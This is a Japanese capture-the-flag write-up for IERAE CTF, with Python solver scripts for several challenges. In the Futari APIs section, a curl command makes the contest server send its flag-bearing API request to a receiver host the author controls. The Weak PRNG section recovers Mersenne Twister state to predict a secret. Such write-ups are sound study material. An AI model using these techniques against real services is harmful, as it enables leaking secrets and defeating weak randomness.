IERAE CTFは初参加です。楽しかった!

チーム名: at24, ユーザ名: takanotume24で参加しました。

Futari APIs

frontend.ts

 const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
としているところが怪しそう。

JavaScriptのURLオブジェクトのコンストラクタnew URL(url, base)は url が絶対URL である場合、指定されたbase は無視するらしく(なぜ??)、urlに絶対URLを指定すればいいことがわかる。

参考: https://developer.mozilla.org/ja/docs/Web/API/URL/URL

直後に

return await fetch(uri);
があるため、外部のホストへリクエストが飛ばせそう。 denoではデフォルトではネットワークアクセスができないが、今回は--allow-netオプションが付いているため許可されている。。

CTFの競技サーバを192.0.2.1:3000, 自分で用意した受信用サーバを192.0.2.2:3000とすると、

curl "192.0.2.1:3000/search?user=http%3A%2F%2F192.0.2.2%3000"

192.0.2.2:3000に向けてFLAG付きのリクエストが飛んでくる。

Weak PRNG

https://zenn.dev/hk_ilohas/articles/mersenne-twister-previous-stateのプログラムを拝借したところそのまま動作した。

  • io_lib.py

    ```python import subprocess import string def read_output( process: subprocess.Popen, expected_prompts: int, ) -> list[int]: generator_output_list: list[int] = [] for _ in range(expected_prompts): stdout = process.stdout if stdout is None: raise Exception() output = stdout.readline().strip() if output: print(output) output = output.replace(' ', '') if output.isdigit(): generator_output_list.append(int(output)) if expected_prompts >= 16: size = len(generator_output_list) if not size == 16: raise Exception(size) return generator_output_list ```
  • lib.py

    ```python # https://zenn.dev/hk_ilohas/articles/mersenne-twister-previous-state より引用 def untemper(x): x = unBitshiftRightXor(x, 18) x = unBitshiftLeftXor(x, 15, 0xefc60000) x = unBitshiftLeftXor(x, 7, 0x9d2c5680) x = unBitshiftRightXor(x, 11) return x def unBitshiftRightXor(x, shift): i = 1 y = x while i * shift < 32: z = y >> shift y = x ^ z i += 1 return y def unBitshiftLeftXor(x, shift, mask): i = 1 y = x while i * shift < 32: z = y << shift y = x ^ (z & mask) i += 1 return y def get_prev_state(state): for i in range(623, -1, -1): result = 0 tmp = state[i] tmp ^= state[(i + 397) % 624] if ((tmp & 0x80000000) == 0x80000000): tmp ^= 0x9908b0df result = (tmp << 1) & 0x80000000 tmp = state[(i - 1 + 624) % 624] tmp ^= state[(i + 396) % 624] if ((tmp & 0x80000000) == 0x80000000): tmp ^= 0x9908b0df result |= 1 result |= (tmp << 1) & 0x7fffffff state[i] = result return state ```
  • predict_secret.py

    ```python from lib import untemper, get_prev_state import random def predict_secret( xs1: list[int], n: int, ): mt_state = [untemper(x) for x in xs1] prev_mt_state = get_prev_state(mt_state) random.setstate((3, tuple(prev_mt_state + [0]), None)) predicted = [random.getrandbits(32) for _ in range(n)] return predicted[623] ```
  • solver.py

    ```python import subprocess from io_lib import read_output from predict_secret import predict_secret if __name__ == '__main__': process = subprocess.Popen( # ['python3', '../challenge.py'], ['nc', '35.201.137.32', '19937'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True ) read_output( process=process, expected_prompts=7, ) stdin = process.stdin if stdin is None: raise Exception() generator_output_list: list[int] = [] for i in range(40): stdin.write('1' + '\n') stdin.flush() generator_output_list = generator_output_list + read_output( process=process, expected_prompts=23, ) print(generator_output_list) predicted_secret = predict_secret( xs1=generator_output_list[:624], n=624, ) print(predicted_secret) stdin.write(f'2' + '\n') stdin.flush() generator_output_list = generator_output_list + read_output( process=process, expected_prompts=2, ) stdin.write(f'{predicted_secret}' + '\n') stdin.flush() generator_output_list = generator_output_list + read_output( process=process, expected_prompts=2, ) ```

babewaf

解けなかったけどいくつか勉強になったことがあるのでメモ。

derangement

  • candidate_char_set: ヒント文字列で出現した全ての文字の集合
  • appeared_char_set_dict[i]: ヒント文字列のi文字目に出現した全ての文字の集合

とすると、candidate_char_setの中から、appeared_char_set_dict[i]を削除するとi文字目の文字だけが残る。

競技サーバを`192.0.2.1:55555`, とする。
import subprocess
import string

def read_output(
        process: subprocess.Popen,
        expected_prompts: int,
        hint_list: list[str],
    ) -> list[str]:

    for _ in range(expected_prompts):
        stdout = process.stdout

        if stdout is None:
            raise Exception()
        
        output = stdout.readline().strip()
        if output:
            print(output)

            if 'hint: ' in output:
                hint_str = output.replace('> hint: ', '')
                hint_list.append(hint_str)

    return hint_list

def remove_from_charset(
    hint_char_set: set[str],
) -> set[str]:
    CHAR_SET = string.ascii_letters + string.digits + string.punctuation
    CHAR_SET = set(CHAR_SET)

    remained_char_set = CHAR_SET

    for hint_char in hint_char_set:
        remained_char_set.remove(hint_char)

    return remained_char_set

def get_char_set_at_n_from_hint_list(
    hint_list: list[str],
    index: int,
) -> set[str]:
    appeared_char_set = set()
    for hint_str in hint_list:
        hint_char = hint_str[index]
        appeared_char_set.add(hint_char)

    return appeared_char_set

def main():
    process = subprocess.Popen(
        # ['python3', '../challenge.py'],
        ['nc','192.0.2.1','55555'],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        text=True
    )


    hint_list:list[str] = []
    hint_list = read_output(
        process=process,
        expected_prompts=8,
        hint_list=hint_list,
    )
    
    print(hint_list)


    for i in range(290):
        commands = ['1']
        for command in commands:
            stdin = process.stdin
            if stdin is None:
                raise Exception()
            
            stdin.write(command + '\n')
            stdin.flush()
            read_output(
                process=process,
                expected_prompts=3,
                hint_list=hint_list,
            )

    print(hint_list)
    candidate_char_set = set()
    appeared_char_set_dict: dict[int, set[str]] = {}
    for i in range(15):
        appeared_char_set = get_char_set_at_n_from_hint_list(
            hint_list=hint_list,
            index=i,
        )
        s = ''.join(sorted(appeared_char_set))
        print(s, len(s))

        candidate_char_set = candidate_char_set | appeared_char_set
        appeared_char_set_dict[i] = appeared_char_set

    print(candidate_char_set)

    answer= ''
    for index, appeared_char_set in appeared_char_set_dict.items():
        s = (candidate_char_set - appeared_char_set).pop()
        answer = answer + s

    print(f'SOLVED!!: {answer}')
    
    stdin.write('2' + '\n')
    stdin.flush()
    read_output(
        process=process,
        expected_prompts=2,
        hint_list=hint_list,
    )

    stdin.write(answer + '\n')
    stdin.flush()

    read_output(
        process=process,
        expected_prompts=3,
        hint_list=hint_list,
    )

    
    # 終了処理
    process.stdin.close()
    process.stdout.close()
    process.stderr.close()
    process.wait()

if __name__ == "__main__":
    main()